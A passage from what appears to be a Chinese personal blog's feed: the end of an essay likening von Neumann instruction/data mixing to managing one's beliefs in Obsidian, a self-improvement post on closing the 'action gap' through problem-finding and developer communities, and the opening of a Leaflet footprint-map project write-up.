bias，Nickerson<sup id="fnref:17"><a href="#fn:17" rel="footnote">[17]</a></sup>的综述把它的顽固性讲得很透）。原本用来防御外部操纵的隔离墙，慢慢变成了拒绝一切更新的城墙。一个拒绝写入的系统和一个随便被写入的系统，一样危险，只是死法不同。</p><p>应对：第6.4节的季度复审必须是<strong>对抗性的</strong>——每条指令都要主动找反例，问”什么证据能推翻你”，而不是走过场式的”我还觉得对”。这有点像给自己的信念做红队测试。指令区里甚至值得专门留一个”待推翻”标记，放那些自己隐约觉得站不住但还没想清楚的旧指令。</p><h3 id="8-4-更新延迟：世界变得比指令区快"><a href="#8-4-更新延迟：世界变得比指令区快" class="headerlink" title="8.4 更新延迟：世界变得比指令区快"></a>8.4 更新延迟：世界变得比指令区快</h3><p>显式确认流程天然比自动写入慢。市场剧变、环境突变的时候，混溶状态的人可能几天内就完成了认知切换（因为信息直接改写了行为），而强分离的人要走过”察觉异常→暂存→确认→改写指令”的完整流程。</p><p> Herbert Simon那句”信息的富足造成注意力的贫乏”<sup id="fnref:18"><a href="#fn:18" rel="footnote">[18]</a></sup>的反面是：注意力的节制造成信息的延迟。某些领域（比如安全、医疗、快速变化的市场），延迟的代价可能很高。</p><p>应对：给指令区分级——<strong>核心指令</strong>（价值观层，年审）、<strong>领域指令</strong>（方法论层，季审）、<strong>战术指令</strong>（具体做法层，月审甚至更短）。越靠近执行的指令，更新周期越短，避免用价值观的严谨度去管理执行战术的敏捷度。</p><h2 id="九、一个总结"><a href="#九、一个总结" class="headerlink" title="九、一个总结"></a>九、一个总结</h2><p>我们是因为深入理解了计算机”为什么不分离”指令和数据——理解了这种不分离带来的万能性、涌现性、自指能力——才反过来意识到，人为什么”应该”分离。</p><p>计算机的不分离是它强大的根源。但计算机的不分离是安全的，因为它的”指令”是人写的、可控的、可审计的。人类的不分离也是强大的根源（适应性、学习能力、涌现智慧），但人类的不分离是不安全的，因为外部环境可以在我们不知情的情况下修改我们的”指令”。</p><p>所以结论不是”不分离不好”，而是”不分离需要配套一个可审计的机制”。</p><p>计算机有调试器、有性能监控、有代码审查——可以看到程序在执行什么指令，可以暂停、检查、修改。人的认知系统也需要一个类似的机制——可以看到自己当前在执行什么信念，可以暂停、检查、修改。</p><p>Obsidian就是御坂的”认知调试器”。</p><p><code>01自我</code>里的原则清单是”指令集查看器”——打开它，能看到自己当前在运行哪套程序。从数据区到指令区的显式升级过程是”断点设置”——信息不会自动变成信念，必须停下来，有意识地审查。定期回顾和修订信念清单是”代码审查”——发现某个行为模式不合理，回头去查指令区，找到那条过时的信念，显式地修改它。新增的指令暂存区是”沙箱环境”——可疑的变化先隔离审查，确认无害再合入主干。</p><p>整个过程的核心思想就一句话：<strong>把无意识的权重更新，变成有意识的代码提交。</strong></p><p>冯·诺依曼给了计算机万能性，代价是不可控的自修改。人类天然有同样的架构，获得了同样的适应性，也继承了同样的不可控性。但人类有一个计算机没有的东西——元认知。我们可以观察自己的思考过程，可以审视自己的信念清单，可以决定”这条指令我要不要保留”。</p><p>这就是认知哈佛架构的意义：<strong>不是放弃冯·诺依曼的灵活性，而是在它上面加一层元认知的控制平面。让不分离的系统继续保持不分离，但让它变得可观察、可审计、可控。</strong></p><p>开放的数据区，严格的指令区，显式的跨区升级机制，外加一个缓冲用的暂存区。</p><p>这是我从过往几年多信息的整理和最近阅读的这篇一串0和1里总结学到的东西。</p><h2 id="十、后记：这篇文章做了什么"><a href="#十、后记：这篇文章做了什么" class="headerlink" title="十、后记：这篇文章做了什么"></a>十、后记：这篇文章做了什么</h2><p><strong>做到了的</strong>：</p><ol><li>把”指令和数据不分离”这个计算机架构事实，完整地串到了”人的认知为什么需要分离”——中间经过AI这个枢纽，逻辑链条是完整的，没有断档。</li><li>第六章给出了可落地的东西：一张现状映射表、一个目标架构图、一份六问判定清单、一套git式的暂存区流程、六条具体改造步骤。理论上任何人拿着这一节就能在自己的笔记工具上复现（不需要Obsidian，任何支持文件夹和链接的工具都行，甚至纸笔也行——分区和判定清单才是本质）。</li><li>好处和代价都给了依据，不是纯拍脑袋的个人感受。</li></ol><p><strong>可复制执行的最小方案</strong>：</p><blockquote><p>第一步，把笔记分成两个区：”我知道的”（数据）和”我相信并按其行事的”（指令）。第二步，规定一条铁律：数据区的信息永远不会自动变成指令区的信念。第三步，遇到想内化的内容，走一遍”暂存→审查→用第一人称改写→写入”。第四步，每季度复审指令区，主动找每条指令的反例。</p></blockquote><p>就这四步。工具随意，机制至上。</p><hr><p><em>写于 2026年8月26日，AI协同。从一个知乎回答开始的一次意外认知越狱。</em></p><h2 id="参考资料与扩展阅读"><a href="#参考资料与扩展阅读" class="headerlink" title="参考资料与扩展阅读"></a>参考资料与扩展阅读</h2><p><strong>延伸阅读（计算机底层直觉向）</strong>：Charles Petzold《编码：隐匿在计算机软硬件背后的语言》（从电报机讲到CPU，建立物理直觉的最佳入门）；Randal E. Bryant《深入理解计算机系统》（CSAPP，打通汇编到操作系统的经典教材）；Kahneman《思考，快与慢》（系统1与系统2，本文”混溶vs分离”的心理学对照版）。</p><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none;padding-left:0;margin-left:40px"><li id="fn:1"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">1.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">1. [能从底层解释一下计算机的原理吗？——Soulflare的回答（知乎）](https://www.zhihu.com/question/666025968/answer/2010309393024038714) —— 本文的起点。从硅到晶体管到逻辑门到冯·诺依曼架构的完整叙事。 <a href="#fnref:1" rev="footnote">↩</a></span></li><li id="fn:2"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">2.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">2. von Neumann, J. (1945). *First Draft of a Report on the EDVAC* —— 冯·诺依曼架构的原始文献，"存储程序"思想的出处。 <a href="#fnref:2" rev="footnote">↩</a></span></li><li id="fn:3"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">3.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">3. [Transformer Circuits Thread（Anthropic）](https://transformer-circuits.pub/) —— 机制可解释性研究的集散地，"权重里到底编码了什么"这个问题的最前沿。 <a href="#fnref:3" rev="footnote">↩</a></span></li><li id="fn:4"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">4.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">4. Elhage, N. et al. (2022). *Toy Models of Superposition* —— 叠加假说：神经网络把大量概念压缩在同一组参数里，指令与数据的物理边界不存在。 <a href="#fnref:4" rev="footnote">↩</a></span></li><li id="fn:5"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">5.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">5. Meng, K. et al. (2022). *Locating and Editing Factual Associations in GPT*（ROME）—— 尝试只编辑模型的"事实"而不伤及其他能力，实证了知识（数据）与行为（指令）的纠缠。 <a href="#fnref:5" rev="footnote">↩</a></span></li><li id="fn:6"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">6.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">6. Meng, K. et al. (2023). *Mass-Editing Memory in a Transformer*（MEMIT）—— ROME的批量版，同样受制于指令数据的叠加。 <a href="#fnref:6" rev="footnote">↩</a></span></li><li id="fn:7"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">7.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">7. Festinger, L. (1957). *A Theory of Cognitive Dissonance* —— 认知失调理论：矛盾信念产生心理不适。 <a href="#fnref:7" rev="footnote">↩</a></span></li><li id="fn:8"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">8.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">8. Locke, E. A., & Latham, G. P. (2002). *Building a Practically Useful Theory of Goal Setting and Task Motivation* —— 目标设定理论35年研究综述：明确稳定的目标带来高绩效。 <a href="#fnref:8" rev="footnote">↩</a></span></li><li id="fn:9"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">9.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">9. Aleph One (1996). *Smashing the Stack for Fun and Profit*（Phrack 49）—— 缓冲区溢出攻击经典文献，"数据伪装成指令"的原型。 <a href="#fnref:9" rev="footnote">↩</a></span></li><li id="fn:10"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">10.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">10. Petty, R. E., & Cacioppo, J. T. (1986). *The Elaboration Likelihood Model of Persuasion* —— 说服的双路径模型：中心路径vs边缘路径。 <a href="#fnref:10" rev="footnote">↩</a></span></li><li id="fn:11"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">11.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">11. McGuire, W. J. (1964). *Inducing Resistance to Persuasion* —— 接种理论：预先暴露于弱化反驳能增强后续抵抗力。 <a href="#fnref:11" rev="footnote">↩</a></span></li><li id="fn:12"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">12.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">12. Flavell, J. H. (1979). *Metacognition and Cognitive Monitoring* —— 元认知概念的奠基文献。 <a href="#fnref:12" rev="footnote">↩</a></span></li><li id="fn:13"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">13.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">13. Erikson, E. H. (1968). *Identity: Youth and Crisis* —— 自我同一性理论。 <a href="#fnref:13" rev="footnote">↩</a></span></li><li id="fn:14"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">14.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">14. Nonaka, I., & Takeuchi, H. (1995). *The Knowledge-Creating Company* —— SECI模型：知识从隐性到显性的转化创造价值。 <a href="#fnref:14" rev="footnote">↩</a></span></li><li id="fn:15"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">15.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">15. Damasio, A. R. (1994). *Descartes' Error* —— 躯体标记假说：情绪是决策的必要组件。 <a href="#fnref:15" rev="footnote">↩</a></span></li><li id="fn:16"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">16.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">16. Sweller, J. (1988). *Cognitive Load During Problem Solving* —— 认知负荷理论：工作记忆容量有限。 <a href="#fnref:16" rev="footnote">↩</a></span></li><li id="fn:17"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">17.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">17. Nickerson, R. S. (1998). *Confirmation Bias: A Ubiquitous Phenomenon in Many Guises* —— 确认偏误的系统性综述。 <a href="#fnref:17" rev="footnote">↩</a></span></li><li id="fn:18"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">18.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">18. Simon, H. A. (1971). *Designing Organizations for an Information-Rich World* —— "信息的富足造成注意力的贫乏"的出处。 <a href="#fnref:18" rev="footnote">↩</a></span></li></ol></div></div>]]>
    </content>
    <id>http://misaka10013.cn/p/2813908857.html</id>
    <link href="http://misaka10013.cn/p/2813908857.html"/>
    <published>2026-08-27T00:58:50.000Z</published>
    <summary>
      <![CDATA[<h1 id="指令即数据：从冯·诺依曼到我的Obsidian认知体系"><a href="#指令即数据：从冯·诺依曼到我的Obsidian认知体系" class="headerlink" title="指令即数据：从冯·诺依曼到我的Obsidian认知体系"></a>指令即数据：从冯·诺依曼到我的Obsidian认知体系</h1><h2 id="一、起因"><a href="#一、起因" class="headerlink" title="一、起因"></a>一、起因</h2><p>这两天我读了一篇知乎回答——《能从底层解释一下计算机的原理吗？》（Soulflare，见文末参考资料<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>），作者从沙子（硅）讲到晶体管，从晶体管讲到逻辑门，从逻辑门讲到加法器，再讲到内存、控制器、取指执行循环。整条链路清晰得像一条公路，没有一步用到魔法。</p>]]>
    </summary>
    <title>指令即数据：从冯·诺依曼到我的Obsidian认知体系</title>
    <updated>2026-09-15T13:08:39.438Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="思考" scheme="http://misaka10013.cn/tags/%E6%80%9D%E8%80%83/"/>
    <category term="认知" scheme="http://misaka10013.cn/tags/%E8%AE%A4%E7%9F%A5/"/>
    <category term="成长" scheme="http://misaka10013.cn/tags/%E6%88%90%E9%95%BF/"/>
    <content>
      <![CDATA[<p>最近看了篇知乎回答（见文末「参考资料」），很有共鸣。它把”为什么互联网抹平了信息差、大多数人却依然原地踏步”讲得很透。但看完我更想追问另一半问题：<strong>知道了原因，到底该怎么动起来？</strong>。信息只有对我们的实践产生了指导意义，并促使了我们现实中行动改变，才具有真实的意义。否则解决信息差对我们毫无意义。由此我开始了一些反思想法。</p><p>本文章前半部分，是我对那篇知乎回答的归纳；后半部分，是我思考的一些思路——从一个缺痛点、困在舒适圈里的人，如何通过试着借做事和圈子，把自己拽出来。</p><hr><h2 id="第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大"><a href="#第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大" class="headerlink" title="第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大"></a>第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大</h2><p>那篇回答的核心可以归纳成五点：</p><h3 id="1-获取成本降低了，但筛选成本指数级上升"><a href="#1-获取成本降低了，但筛选成本指数级上升" class="headerlink" title="1. 获取成本降低了，但筛选成本指数级上升"></a>1. 获取成本降低了，但筛选成本指数级上升</h3><p>算法的目标函数是”留存时长”，不是”帮人成长”。它拼命迎合人的动物本能，把高价值内容淹没在噪声里。当我们想搜”分布式系统”，前排永远是广告、简化故事和撕逼帖；真正的高密度知识、论文永远无人问津。<strong>所以信息化时代，新的门槛不是钱和渠道，而是鉴别力和抗干扰能力。</strong></p><h3 id="2-知识是压缩包，经历才是解压密码"><a href="#2-知识是压缩包，经历才是解压密码" class="headerlink" title="2. 知识是压缩包，经历才是解压密码"></a>2. 知识是压缩包，经历才是解压密码</h3><p>很多人习惯囤积干货，以为”拥有文件&#x3D;拥有知识”。但这就像下载了一个压缩包却没有密码——文件名就在那儿，却打不开。只有当经历了相关的，待在了相似的处境中，亲身体会并动手去使用那些知识的时候，才是真的解压了这个压缩包。<strong>顶级思维都是事后总结，没有那个”事”，有了知识和总结也没用。</strong></p><h3 id="3-大脑的本能是节能，学习反本能"><a href="#3-大脑的本能是节能，学习反本能" class="headerlink" title="3. 大脑的本能是节能，学习反本能"></a>3. 大脑的本能是节能，学习反本能</h3><p>大脑是认知吝啬鬼，而顶级思维（贝叶斯定理、延迟满足）是反直觉的，学习它们本身就是痛苦。再加上短视频和爽文的刺激，这种痛苦更难忍受。<strong>知识随处可见，但摄入知识的痛苦感没有减少。</strong></p><h3 id="4-知行合一隔着巨大的情绪成本"><a href="#4-知行合一隔着巨大的情绪成本" class="headerlink" title="4. 知行合一隔着巨大的情绪成本"></a>4. 知行合一隔着巨大的情绪成本</h3><p>大多数人不是不知道怎么做，而是恐惧——怕看不懂、怕挫败、怕浪费时间、怕没回报。互联网把成功标杆拉得太高，看到谁的讨论都是年薪百万、大厂高手，自己啃一晚源码只看懂两行，落差感击穿心理防线。<strong>大部分人无法突破，是因为无法忍受长期没有正反馈的寂寞。</strong></p><h3 id="5-圈层固化导致隐性知识依然屏蔽"><a href="#5-圈层固化导致隐性知识依然屏蔽" class="headerlink" title="5. 圈层固化导致隐性知识依然屏蔽"></a>5. 圈层固化导致隐性知识依然屏蔽</h3><p>显性知识（书本、代码）公开了，但隐性知识（坑、评价、信号）仍在私密小圈子流动。算法让人只能看到与自己画像相似的人，当我们以为看到了全世界，其实只看到了同类。<strong>信息茧房不仅是被动形成的，更是用户每一次主动选择的结果。</strong></p><p>这五条合起来指向同一件事：<strong>今天我们之间的差距，早已不是”知不知道”，而是”做没做、在不在对的环境里做”。</strong> 我把这叫做”行动差”——它才是真正横在人和突破之间的鸿沟。下面是我对付它的办法。</p><hr><h2 id="第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子"><a href="#第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子" class="headerlink" title="第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子"></a>第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子</h2><p>归纳完那篇回答文章的信息后，我认为从信息到行动差距的本质，是由于**海量信息、无反馈（长期寂寞）、延迟满足（痛苦感没减少）**四件事在合力拖住我们。</p><p>针对这几个问题，我思考和摸索出一条很朴素的路径去对抗它，分四步：</p><p><strong>自我结构化 → 挖痛点 → 持续做事 → 借圈子</strong></p><p>自我结构化解决，我们应该消化什么信息，应该解决什么信息，什么是我；痛点解决”为什么非要动”；持续做事解决”知识和技能怎么落地”；借圈子解决”一个人撑不过那段没有反馈的寂寞期”。下面展开。</p><h3 id="1-强筛信息：强化自我管理"><a href="#1-强筛信息：强化自我管理" class="headerlink" title="1. 强筛信息：强化自我管理"></a>1. 强筛信息：强化自我管理</h3><p>回头看，那篇回答把”为什么动不起来”讲透了————海量信息带来的屏蔽和筛选难题呆在首位。对此我的解法就是拒绝被主动塞入信息。</p><p>1.对于所有渠道包括知乎、新闻、B站、小红书等等给到我的信息，均采用审视和拒绝的态度。断开除小圈子社群以外的所有社交平台，减少海量的信息接触。</p><p>2.建立结构化的意识管理和知识管理，以及善用我们的元认知（反思能力、批判性思维）对我们自身的认知过程进行监控和调节。</p><p>这个第2点可能不是那么好理解。我大概解释下我的方法论：</p><ul><li>对于所有的信息可以按意识类和知识数据类进行分类管理</li><li>意识类的信息又可以结构化的分类为：目标（反思个人需求）、意图（行动方向和路径）、价值观（后天训练下来能无障碍接受的范围）等等</li><li>知识数据类的信息结构化分类为：情绪、记忆、感受（感官输入）、社交、总结方法论（skill或技能）、现实学科知识等等</li><li>意识类管理了我们的认知，负责决策和执行；知识数据类管理了我们接触、总结消化和交互的大部分信息。</li><li>我认为管理自我，最大的风险来自于我们的意识类信息被知识数据类主导，被外部左右；其次的风险是我们的意识类信息主动消化和理解吸收知识数据类信息的时候。</li></ul><h3 id="2-挖痛点：先找到”非做不可”的理由"><a href="#2-挖痛点：先找到”非做不可”的理由" class="headerlink" title="2. 挖痛点：先找到”非做不可”的理由"></a>2. 挖痛点：先找到”非做不可”的理由</h3><p>时常，在挖掘我的自身动力的时候，我发现了一个事实：<strong>我并不缺信息，我缺的是痛点。</strong></p><p>没有痛点，就没有非做不可的理由，所有”想学”最终都会败给”不想动”。所以我认为寻找动力的第一件事，不是去寻找某个神奇方法，而是挖寻生活中自己或他人的痛点。</p><p>解决痛点可以很大程度上解决“延迟满足”这个问题，让我们意识到，解决这个问题会给我们带来生活的改善和回报。</p><p>具体怎么挖：</p><ul><li><strong>审视自己和身边人</strong>，找出那些反复出现的小麻烦、市场没解决好或频繁被需要的需求；</li><li><strong>主动去搜、拆解、分析</strong>，而不是坐在原地等痛点自己砸下来；</li><li><strong>哪怕暂时挖不到大痛点，也用每天30分钟的”微挑战”保持手感</strong>，承认量变——没有痛点≠没有成长。</li></ul><p>举个我自己的例子：不断的启动自己的元认知，思考自己目前现在面对什么问题，有什么解决方法，细化下来怎么做，然后输出行动策略。不断的输出，不断的输出，逼自己的大脑要持续动起来。<strong>不追求有用，只追求”今天动了”</strong>——很多时候，正是这种微小动作里的突然卡顿自己浮现，反而就让我挖出到了自己非常想解决的问题。</p><p>痛点不是等来的，是做出来的。先动起来，卡顿和摩擦自己就会浮现。</p><h3 id="3-持续做事：把知识从压缩包里解压"><a href="#3-持续做事：把知识从压缩包里解压" class="headerlink" title="3. 持续做事：把知识从压缩包里解压"></a>3. 持续做事：把知识从压缩包里解压</h3><p>挖到痛点（或哪怕只是微挑战）之后，关键是真的做，而不是再去找”更好的方法”。</p><ul><li><strong>不断地尝试、不断地动起来</strong>，同时屏蔽对解决眼前问题无益的噪音；</li><li><strong>分解事项</strong>，把事情不断分解到我们可以一步步微小推进的程度，让事件有进展，有小反馈；</li><li><strong>保持解决问题的”手感”</strong>，承认量变：发现与解决问题，必然源于持续地吸取信息与积累尝试；</li><li><strong>分享，引入外部的监督</strong> 产出要持续的分享出去，即使外部世界其实没人关注，但分享这个动作也会反向激励我们多做和做好。</li></ul><p>这部分其实最朴素，也最难——它没有任何技巧，就是别停。而它恰恰在对抗”无反馈”：当我们把一件件小事做完，反馈虽小但真实存在，足以撑过那段没有正回报的寂寞期。</p><h3 id="4-借圈子：把自己拽出固化体系"><a href="#4-借圈子：把自己拽出固化体系" class="headerlink" title="4. 借圈子：把自己拽出固化体系"></a>4. 借圈子：把自己拽出固化体系</h3><p>这是我在大学时就越来越明确的一点：<strong>单靠自己，很难跳出自己的舒适圈和固化体系。</strong> 我们以为自己在努力，很多时候只是在旧体系里打转。要真正脱离，需要外部的坐标和协同——也就是一个”真正在干活的圈子”。</p><p>一个在解决问题的圈子，会帮我们扩大寻找痛点的途径，扩大我们解决问题带来的反馈和产出价值评估，能帮我们对抗“无反馈”的问题。</p><p>圈子的作用，不只是”有人一起学”，而是它提供外部标准、真实反馈和共同推进的项目，把我们从自我循环里硬拉出来。当我们在一个圈子里协同处理真实问题时，就被推着持续做有价值的事，而这恰恰是治疗”行动差”的良药。</p><p><strong>去哪里找”真正在干活的圈子”？</strong></p><p>这类圈子的特征是：<strong>围绕具体项目&#x2F;代码&#x2F;作品运转</strong>，而不是围绕”聊天”运转。</p><table><thead><tr><th>社区</th><th>适合谁</th><th>怎么用</th><th>坑&#x2F;风险</th></tr></thead><tbody><tr><td><strong>GitHub Discussions</strong></td><td>想深入开源项目的人</td><td>看维护者和贡献者怎么讨论 feature、trade-off</td><td>只看不说话&#x3D;潜水游客，等于没进圈</td></tr><tr><td><strong>GitHub Trending</strong></td><td>想追前沿技术的人</td><td>每天刷，看什么项目在崛起</td><td>跟风囤一堆 star 从不打开</td></tr><tr><td><strong>Stack Overflow</strong></td><td>遇到具体技术问题时</td><td>提问+回答别人问题，建立存在感</td><td>只提问不回答，建立不了信用</td></tr><tr><td><strong>Reddit r&#x2F;programming</strong></td><td>通用技术讨论</td><td>看严肃讨论，不是爽文</td><td>容易被口水战带偏</td></tr><tr><td><strong>Dev.to &#x2F; Hashnode</strong></td><td>想写技术博客的人</td><td>发文+互评</td><td>重流量，容易为点赞写水文</td></tr><tr><td><strong>Hacker News</strong></td><td>创业&#x2F;产品思维</td><td>看硅谷一线工程师在辩论什么</td><td>门槛高，容易只当旁观者</td></tr><tr><td><strong>V2EX &#x2F; linux.do</strong></td><td>中文开发者</td><td>高质量讨论，发帖必须真技术</td><td>规模小，冷门问题可能没人回</td></tr><tr><td><strong>Discord（如 Reactiflux）</strong></td><td>需要实时交流</td><td>先潜水24-48小时再发言</td><td>实时刷屏，容易把群变成日常噪音</td></tr><tr><td><strong>Kaggle Notebook</strong></td><td>数据科学</td><td>比官方文档更生动的案例库</td><td>只跑别人 notebook 不思考</td></tr></tbody></table><p><strong>关键原则：每个平台只承担一个功能。</strong> 别加一堆群然后全变成999+未读——那样加入的不是圈子，而是噪音。</p><p>线下活动同样值得重视：一场同好聚会的合作转化率远超线上，能带来高效的学习经历和团队合作。可以搜索当地的社团、协会、论坛，看大家关注什么领域、谁在真正推动解决问题。</p><p><strong>筛选标准：</strong></p><ul><li>✅ 有明确的主题边界</li><li>✅ 持续的交流渠道</li><li>✅ 社群成员的实质行动力</li></ul><p>分享，或者用计算机世界的称呼“开源贡献”是最硬核的进入方式——这是让核心开发者圈子主动接纳人的唯一路径：</p><ol><li>找一个感兴趣的项目</li><li>从修文档错别字、报 Bug 开始</li><li>逐步尝试解决简单 Issue</li><li>提交第一个 PR</li></ol><p><strong>开源社区的规则是：人们通过贡献赢得成员身份。</strong> 修过一个 Bug，维护者就会记住这个 GitHub ID——这就是进入圈子的敲门砖。</p><p><strong>怎么判别”真假干活圈子”？</strong></p><p><strong>✅ 真干活圈子的特征</strong></p><ol><li>有真实项目在推进——不是聊”怎么学”，是聊”我这个项目卡在XX问题上”</li><li>讨论权衡和踩坑——“我试了A和B，A在XX场景下失败了因为…”</li><li>有人认真回复提问——不是甩链接，是给具体思路</li><li>群文件&#x2F;精华区有沉淀——有价值的讨论被整理出来</li><li>成员有公开作品——GitHub 有 repo、博客有文章、产品有上线</li><li>规模小而活跃——几十到两三百人最佳</li></ol><p><strong>❌ 假干活圈子的特征</strong></p><ol><li>天天聊”认知””思维模型”但没人晒作品</li><li>管理员一直在卖课</li><li>讨论停留在”哪个语言好””前端还是后端有前途”这种口水话题</li><li>潜水一周看不到任何实质性技术讨论</li><li>新人提问没人理，或者只得到”百度一下”的回复</li></ol><p><strong>圈子的真相：不是”找到”的，是”长出来”的</strong></p><p>我们不可能今天加入一个群，明天就有了”干活圈子”。真实的路径是：先在一个项目里做点什么 → 被人看到 → 被拉进更小的群 → 在小群里持续输出 → 最终形成自己的核心圈子。</p><p>而在这个过程中，借助团体的力量，完成了单靠自己很难做到的事——<strong>离开原本固化的体系与舒适圈，在和他人的协同里，把有价值的事一直做下去。</strong></p><hr><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>信息差早就被互联网抹平了，真正的分水岭是行动差。而行动差不是靠”想通了”跨过的，它是被<strong>海量信息、恐惧、无反馈、延迟满足</strong>四座大山压住的——我思考和摸索出来的路径很简单：<strong>自我结构化抵御庞杂的信息 → 挖痛点给自己一个非动不可的理由 → 持续做事用真实反馈对抗寂寞 → 借圈子离开舒适圈，在协同里把事做下去。</strong></p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://www.zhihu.com/question/689452741/answer/1991456059383117645">互联网已经将绝大部分信息差抹除了，知识已经随处可以获得，为何大部分人依旧无法获得大幅突破？</a></li></ul>]]>
    </content>
    <id>http://misaka10013.cn/p/706762383.html</id>
    <link href="http://misaka10013.cn/p/706762383.html"/>
    <published>2026-08-25T15:35:00.000Z</published>
    <summary>
      <![CDATA[<p>最近看了篇知乎回答（见文末「参考资料」），很有共鸣。它把”为什么互联网抹平了信息差、大多数人却依然原地踏步”讲得很透。但看完我更想追问另一半问题：<strong>知道了原因，到底该怎么动起来？</strong>。信息只有对我们的实践产生了指导意义，并促使了我们现实中行动改变，才具有真实的意义。否则解决信息差对我们毫无意义。由此我开始了一些反思想法。</p>
<p>本文章前半部分，是我对那篇知乎回答的归纳；后半部分，是我思考的一些思路——从一个缺痛点、困在舒适圈里的人，如何通过试着借做事和圈子，把自己拽出来。</p>
<hr>]]>
    </summary>
    <title>从信息差到行动差：我的思路</title>
    <updated>2026-09-15T13:08:39.432Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="项目作品" scheme="http://misaka10013.cn/categories/%E9%A1%B9%E7%9B%AE%E4%BD%9C%E5%93%81/"/>
    <category term="AI编程" scheme="http://misaka10013.cn/tags/AI%E7%BC%96%E7%A8%8B/"/>
    <category term="Leaflet" scheme="http://misaka10013.cn/tags/Leaflet/"/>
    <category term="项目复盘" scheme="http://misaka10013.cn/tags/%E9%A1%B9%E7%9B%AE%E5%A4%8D%E7%9B%98/"/>
    <content>
      <![CDATA[<p>在大概10年多前，我就已经在使用谷歌足迹地图，最早是在使用谷歌地球中觉得精确、细节拉满的谷歌地球很适合找到一些自己去过的地方并且标点记录。之后我在我的博客的“关于”页面，通过链接谷歌足迹地图的方式，在我的博客实现查看我的足迹。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p>但使用上也有一些痛点。例如谷歌地图一直被强，我更新足迹需要总是用梯子，所以更新频次很少。其次是谷歌卫星地图和地图道路、点位等信息在国内的部分有坐标偏差，查看起来很难看。经常我一个点位不知道按卫星地图给标记还是按街道位置进行标记。近几年，我也断断续续用过其他方案，例如百度地图或者高德收藏夹存地点。但每次想回顾”我去过哪些地方、在那里发生过什么”的时候，数据总是散落在各个 App 里，我要打开app去翻找，宁琅满目各种广告、贷款推荐，慢得很。</p><p>我想要的东西其实很简单：<strong>一张属于我自己的地图，每个点位是一段记忆，能写文字、能贴图、能按时间连成路线，数据永远在我手里。</strong></p><p>于是在AI的协助讨论和开发下，就有了这个项目——一个嵌入 Hexo 博客的纯前端足迹地图。这篇文章记录它从需求讨论到上线的完整过程，包括踩过的三个很有代表性的坑，以及留给以后的待办事项。</p><span id="more"></span><h2 id="一、需求对齐：和元宝的两轮讨论"><a href="#一、需求对齐：和元宝的两轮讨论" class="headerlink" title="一、需求对齐：和元宝的两轮讨论"></a>一、需求对齐：和元宝的两轮讨论</h2><p>这个项目我没有直接让 AI 上来就写代码，而是先找了元宝聊需求。这一步后来被证明是最值得的投入。</p><p>我和元宝从”我想记录人生足迹”这个模糊的念头开始聊，逐步收敛出核心功能：地图标记、分类体系（路程&#x2F;好吃的&#x2F;好喝的&#x2F;好玩的&#x2F;风景&#x2F;兴趣点）、Markdown 